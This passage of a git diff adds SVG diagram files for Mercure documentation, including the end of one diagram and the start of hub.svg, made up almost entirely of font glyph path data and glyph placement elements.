3.070312 10.140625 3.15625 C 9.691406 3.25 9.21875 3.296875 8.71875 3.296875 C 7.726562 3.296875 6.789062 3.140625 5.90625 2.828125 C 5.019531 2.515625 4.238281 2.03125 3.5625 1.375 C 2.894531 0.71875 2.363281 -0.117188 1.96875 -1.140625 C 1.570312 -2.171875 1.375 -3.390625 1.375 -4.796875 C 1.375 -6.191406 1.582031 -7.441406 2 -8.546875 C 2.414062 -9.648438 2.972656 -10.582031 3.671875 -11.34375 C 4.367188 -12.101562 5.179688 -12.6875 6.109375 -13.09375 C 7.046875 -13.5 8.039062 -13.703125 9.09375 -13.703125 C 10.09375 -13.703125 11.015625 -13.550781 11.859375 -13.25 C 12.703125 -12.957031 13.4375 -12.507812 14.0625 -11.90625 C 14.6875 -11.3125 15.171875 -10.570312 15.515625 -9.6875 C 15.859375 -8.8125 16.03125 -7.789062 16.03125 -6.625 C 16.03125 -5.6875 15.910156 -4.816406 15.671875 -4.015625 C 15.429688 -3.222656 15.101562 -2.535156 14.6875 -1.953125 C 14.269531 -1.367188 13.785156 -0.910156 13.234375 -0.578125 C 12.691406 -0.242188 12.109375 -0.078125 11.484375 -0.078125 C 11.222656 -0.078125 10.988281 -0.109375 10.78125 -0.171875 C 10.570312 -0.242188 10.398438 -0.359375 10.265625 -0.515625 C 10.140625 -0.679688 10.050781 -0.898438 10 -1.171875 C 9.945312 -1.441406 9.945312 -1.773438 10 -2.171875 L 9.921875 -2.171875 C 9.773438 -1.898438 9.597656 -1.640625 9.390625 -1.390625 C 9.191406 -1.140625 8.972656 -0.914062 8.734375 -0.71875 C 8.492188 -0.519531 8.234375 -0.363281 7.953125 -0.25 C 7.679688 -0.132812 7.394531 -0.078125 7.09375 -0.078125 C 6.519531 -0.078125 6.035156 -0.332031 5.640625 -0.84375 C 5.242188 -1.351562 5.046875 -2.085938 5.046875 -3.046875 C 5.046875 -4.046875 5.15625 -4.976562 5.375 -5.84375 C 5.601562 -6.71875 5.910156 -7.472656 6.296875 -8.109375 C 6.679688 -8.742188 7.128906 -9.238281 7.640625 -9.59375 C 8.160156 -9.957031 8.710938 -10.140625 9.296875 -10.140625 C 9.679688 -10.140625 10 -10.070312 10.25 -9.9375 C 10.5 -9.800781 10.742188 -9.617188 10.984375 -9.390625 Z M 10.546875 -8.125 C 10.367188 -8.375 10.1875 -8.550781 10 -8.65625 C 9.820312 -8.769531 9.597656 -8.828125 9.328125 -8.828125 C 8.921875 -8.828125 8.539062 -8.671875 8.1875 -8.359375 C 7.832031 -8.054688 7.523438 -7.648438 7.265625 -7.140625 C 7.015625 -6.640625 6.8125 -6.0625 6.65625 -5.40625 C 6.507812 -4.757812 6.4375 -4.085938 6.4375 -3.390625 C 6.4375 -2.785156 6.53125 -2.300781 6.71875 -1.9375 C 6.90625 -1.582031 7.210938 -1.40625 7.640625 -1.40625 C 7.847656 -1.40625 8.054688 -1.476562 8.265625 -1.625 C 8.484375 -1.769531 8.695312 -1.960938 8.90625 -2.203125 C 9.125 -2.441406 9.328125 -2.707031 9.515625 -3 C 9.703125 -3.300781 9.863281 -3.601562 10 -3.90625 Z M 10.546875 -8.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-39">
+<path style="stroke:none;" d="M 0.734375 -0.875 C 0.734375 -1.207031 0.832031 -1.472656 1.03125 -1.671875 C 1.226562 -1.878906 1.476562 -1.984375 1.78125 -1.984375 C 2.132812 -1.984375 2.421875 -1.84375 2.640625 -1.5625 C 2.867188 -1.28125 2.984375 -0.832031 2.984375 -0.21875 C 2.984375 0.226562 2.925781 0.628906 2.8125 0.984375 C 2.695312 1.347656 2.546875 1.664062 2.359375 1.9375 C 2.179688 2.207031 1.984375 2.425781 1.765625 2.59375 C 1.546875 2.769531 1.335938 2.898438 1.140625 2.984375 L 0.625 2.296875 C 0.800781 2.203125 0.96875 2.078125 1.125 1.921875 C 1.28125 1.765625 1.410156 1.59375 1.515625 1.40625 C 1.617188 1.21875 1.695312 1.015625 1.75 0.796875 C 1.800781 0.585938 1.828125 0.382812 1.828125 0.1875 C 1.554688 0.269531 1.304688 0.210938 1.078125 0.015625 C 0.847656 -0.171875 0.734375 -0.46875 0.734375 -0.875 Z M 0.734375 -0.875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-40">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -7.8125 L 7.296875 -7.8125 L 7.296875 -6.40625 L 2.828125 -6.40625 L 2.828125 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-41">
+<path style="stroke:none;" d="M 3.5625 2.625 C 3.5625 3.988281 3.023438 4.671875 1.953125 4.671875 L 0.453125 4.671875 L 0.453125 3.359375 L 1.21875 3.359375 C 1.539062 3.359375 1.765625 3.269531 1.890625 3.09375 C 2.023438 2.914062 2.09375 2.617188 2.09375 2.203125 L 2.09375 -2.75 C 2.09375 -3.3125 2.203125 -3.769531 2.421875 -4.125 C 2.648438 -4.488281 2.921875 -4.695312 3.234375 -4.75 L 3.234375 -4.875 C 2.921875 -4.945312 2.648438 -5.140625 2.421875 -5.453125 C 2.203125 -5.765625 2.09375 -6.21875 2.09375 -6.8125 L 2.09375 -11.765625 C 2.09375 -12.203125 2.023438 -12.503906 1.890625 -12.671875 C 1.765625 -12.835938 1.546875 -12.921875 1.234375 -12.921875 L 0.453125 -12.921875 L 0.453125 -14.25 L 1.953125 -14.25 C 2.523438 -14.25 2.9375 -14.0625 3.1875 -13.6875 C 3.4375 -13.3125 3.5625 -12.804688 3.5625 -12.171875 L 3.5625 -7.15625 C 3.5625 -6.5625 3.671875 -6.128906 3.890625 -5.859375 C 4.117188 -5.585938 4.441406 -5.453125 4.859375 -5.453125 L 4.859375 -4.125 C 4.441406 -4.125 4.117188 -3.992188 3.890625 -3.734375 C 3.671875 -3.484375 3.5625 -3.007812 3.5625 -2.3125 Z M 3.5625 2.625 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface73599">
+<rect x="0" y="0" width="584" height="268" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.5 7.6 L 30.5 7.6 L 30.5 20.8 L 1.5 20.8 Z M 1.5 7.6 " transform="matrix(20,0,0,20,-28,-150)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 2.3 17 C 2.134375 17 2 17.134375 2 17.3 L 2 18.7 C 2 18.865625 2.134375 19 2.3 19 L 8.7 19 C 8.865625 19 9 18.865625 9 18.7 L 9 17.3 C 9 17.134375 8.865625 17 8.7 17 Z M 2.3 17 " transform="matrix(20,0,0,20,-28,-150)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="57.839844" y="218.00217"/>
+  <use xlink:href="#glyph0-2" x="67.284288" y="218.00217"/>
+  <use xlink:href="#glyph0-3" x="72.00651" y="218.00217"/>
+  <use xlink:href="#glyph0-4" x="76.450955" y="218.00217"/>
+  <use xlink:href="#glyph0-5" x="84.784288" y="218.00217"/>
+  <use xlink:href="#glyph0-6" x="93.673177" y="218.00217"/>
+  <use xlink:href="#glyph0-7" x="99.228733" y="218.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 8 C 16.134375 8 16 8.134375 16 8.3 L 16 13.7 C 16 13.865625 16.134375 14 16.3 14 L 26.7 14 C 26.865625 14 27 13.865625 27 13.7 L 27 8.3 C 27 8.134375 26.865625 8 26.7 8 Z M 16.3 8 " transform="matrix(20,0,0,20,-28,-150)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-8" x="371.863281" y="65.302951"/>
+  <use xlink:href="#glyph0-9" x="380.474392" y="65.302951"/>
+  <use xlink:href="#glyph0-10" x="388.25217" y="65.302951"/>
+  <use xlink:href="#glyph0-11" x="401.585503" y="65.302951"/>
+  <use xlink:href="#glyph0-12" x="406.585503" y="65.302951"/>
+  <use xlink:href="#glyph0-5" x="415.474392" y="65.302951"/>
+  <use xlink:href="#glyph0-9" x="424.363281" y="65.302951"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-13" x="362.976563" y="90.701389"/>
+  <use xlink:href="#glyph0-14" x="371.032118" y="90.701389"/>
+  <use xlink:href="#glyph0-14" x="379.921007" y="90.701389"/>
+  <use xlink:href="#glyph0-2" x="388.809896" y="90.701389"/>
+  <use xlink:href="#glyph0-3" x="393.532118" y="90.701389"/>
+  <use xlink:href="#glyph0-15" x="397.976563" y="90.701389"/>
+  <use xlink:href="#glyph0-13" x="405.198785" y="90.701389"/>
+  <use xlink:href="#glyph0-6" x="413.25434" y="90.701389"/>
+  <use xlink:href="#glyph0-3" x="418.809896" y="90.701389"/>
+  <use xlink:href="#glyph0-12" x="423.25434" y="90.701389"/>
+  <use xlink:href="#glyph0-5" x="432.143229" y="90.701389"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 5.5 17 L 5.5 11 L 15.45 11 " transform="matrix(20,0,0,20,-28,-150)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 11.25 L 15.95 11 L 15.45 10.75 Z M 15.45 11.25 " transform="matrix(20,0,0,20,-28,-150)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-16" x="82" y="60.00217"/>
+  <use xlink:href="#glyph0-17" x="92" y="60.00217"/>
+  <use xlink:href="#glyph0-18" x="100.611111" y="60.00217"/>
+  <use xlink:href="#glyph0-19" x="108.944444" y="60.00217"/>
+  <use xlink:href="#glyph0-20" x="113.388889" y="60.00217"/>
+  <use xlink:href="#glyph0-21" x="119.5" y="60.00217"/>
+  <use xlink:href="#glyph0-12" x="128.388889" y="60.00217"/>
+  <use xlink:href="#glyph0-12" x="137.277778" y="60.00217"/>
+  <use xlink:href="#glyph0-22" x="146.166667" y="60.00217"/>
+  <use xlink:href="#glyph0-7" x="153.944444" y="60.00217"/>
+  <use xlink:href="#glyph0-20" x="160.888889" y="60.00217"/>
+  <use xlink:href="#glyph0-23" x="167" y="60.00217"/>
+  <use xlink:href="#glyph0-24" x="176.166667" y="60.00217"/>
+  <use xlink:href="#glyph0-25" x="179.777778" y="60.00217"/>
+  <use xlink:href="#glyph0-7" x="184.222222" y="60.00217"/>
+  <use xlink:href="#glyph0-12" x="191.166667" y="60.00217"/>
+  <use xlink:href="#glyph0-5" x="200.055556" y="60.00217"/>
+  <use xlink:href="#glyph0-2" x="208.944444" y="60.00217"/>
+  <use xlink:href="#glyph0-26" x="213.666667" y="60.00217"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.5 14 L 21.5 18 L 9.55 18 " transform="matrix(20,0,0,20,-28,-150)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 9.55 17.75 L 9.05 18 L 9.55 18.25 Z M 9.55 17.75 " transform="matrix(20,0,0,20,-28,-150)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-27" x="192" y="230.701389"/>
+  <use xlink:href="#glyph0-3" x="200.333333" y="230.701389"/>
+  <use xlink:href="#glyph0-5" x="204.777778" y="230.701389"/>
+  <use xlink:href="#glyph0-22" x="213.666667" y="230.701389"/>
+  <use xlink:href="#glyph0-28" x="221.444444" y="230.701389"/>
+  <use xlink:href="#glyph0-19" x="225.611111" y="230.701389"/>
+  <use xlink:href="#glyph0-29" x="230.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-30" x="238.388889" y="230.701389"/>
+  <use xlink:href="#glyph0-6" x="247.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-6" x="252.833333" y="230.701389"/>
+  <use xlink:href="#glyph0-14" x="258.388889" y="230.701389"/>
+  <use xlink:href="#glyph0-7" x="267.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-28" x="274.222222" y="230.701389"/>
+  <use xlink:href="#glyph0-20" x="278.944444" y="230.701389"/>
+  <use xlink:href="#glyph0-20" x="285.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-26" x="291.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="300.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-10" x="308.388889" y="230.701389"/>
+  <use xlink:href="#glyph0-12" x="321.722222" y="230.701389"/>
+  <use xlink:href="#glyph0-24" x="330.333333" y="230.701389"/>
+  <use xlink:href="#glyph0-10" x="333.944444" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="347.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="355.611111" y="230.701389"/>
+  <use xlink:href="#glyph0-15" x="361.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-32" x="368.388889" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="377.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="382.833333" y="230.701389"/>
+  <use xlink:href="#glyph0-24" x="391.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="394.777778" y="230.701389"/>
+  <use xlink:href="#glyph0-12" x="400.333333" y="230.701389"/>
+  <use xlink:href="#glyph0-15" x="409.222222" y="230.701389"/>
+  <use xlink:href="#glyph0-22" x="416.444444" y="230.701389"/>
+  <use xlink:href="#glyph0-7" x="424.222222" y="230.701389"/>
+  <use xlink:href="#glyph0-20" x="431.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-30" x="437.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-32" x="446.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-21" x="455.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-33" x="463.944444" y="230.701389"/>
+  <use xlink:href="#glyph0-34" x="472.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-19" x="476.722222" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="481.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="486.722222" y="230.701389"/>
+  <use xlink:href="#glyph0-2" x="495.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-35" x="499.777778" y="230.701389"/>
+  <use xlink:href="#glyph0-36" x="508.111111" y="230.701389"/>
+  <use xlink:href="#glyph0-10" x="512.833333" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="526.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="534.5" y="230.701389"/>
+  <use xlink:href="#glyph0-15" x="540.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-32" x="547.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="556.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="561.722222" y="230.701389"/>
+  <use xlink:href="#glyph0-36" x="569.777778" y="230.701389"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-37" x="192" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="197.833333" y="256.103733"/>
+  <use xlink:href="#glyph0-38" x="203.666667" y="256.103733"/>
+  <use xlink:href="#glyph0-3" x="221.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-26" x="225.611111" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="234.5" y="256.103733"/>
+  <use xlink:href="#glyph0-28" x="240.333333" y="256.103733"/>
+  <use xlink:href="#glyph0-19" x="244.5" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="247.555556" y="256.103733"/>
+  <use xlink:href="#glyph0-20" x="253.388889" y="256.103733"/>
+  <use xlink:href="#glyph0-21" x="259.5" y="256.103733"/>
+  <use xlink:href="#glyph0-12" x="268.388889" y="256.103733"/>
+  <use xlink:href="#glyph0-12" x="277.277778" y="256.103733"/>
+  <use xlink:href="#glyph0-22" x="286.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-7" x="293.944444" y="256.103733"/>
+  <use xlink:href="#glyph0-20" x="300.888889" y="256.103733"/>
+  <use xlink:href="#glyph0-23" x="307" y="256.103733"/>
+  <use xlink:href="#glyph0-24" x="316.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-25" x="319.777778" y="256.103733"/>
+  <use xlink:href="#glyph0-7" x="324.222222" y="256.103733"/>
+  <use xlink:href="#glyph0-12" x="331.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-5" x="340.055556" y="256.103733"/>
+  <use xlink:href="#glyph0-2" x="348.944444" y="256.103733"/>
+  <use xlink:href="#glyph0-26" x="353.666667" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="362.555556" y="256.103733"/>
+  <use xlink:href="#glyph0-39" x="366.444444" y="256.103733"/>
+  <use xlink:href="#glyph0-19" x="368.944444" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="372" y="256.103733"/>
+  <use xlink:href="#glyph0-6" x="377.833333" y="256.103733"/>
+  <use xlink:href="#glyph0-3" x="383.388889" y="256.103733"/>
+  <use xlink:href="#glyph0-6" x="387.833333" y="256.103733"/>
+  <use xlink:href="#glyph0-2" x="393.388889" y="256.103733"/>
+  <use xlink:href="#glyph0-4" x="398.111111" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="406.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-28" x="412" y="256.103733"/>
+  <use xlink:href="#glyph0-19" x="416.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="419.222222" y="256.103733"/>
+  <use xlink:href="#glyph0-40" x="425.055556" y="256.103733"/>
+  <use xlink:href="#glyph0-12" x="433.388889" y="256.103733"/>
+  <use xlink:href="#glyph0-12" x="442.277778" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="450.055556" y="256.103733"/>
+  <use xlink:href="#glyph0-41" x="455.888889" y="256.103733"/>
+</g>
+</g>
+</svg>
diff --git a/_images/mercure/hub.svg b/_images/mercure/hub.svg
new file mode 100644
index 00000000000..6b5e496e3c6
--- /dev/null
+++ b/_images/mercure/hub.svg
@@ -0,0 +1,196 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="584pt" height="204pt" viewBox="0 0 584 204" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 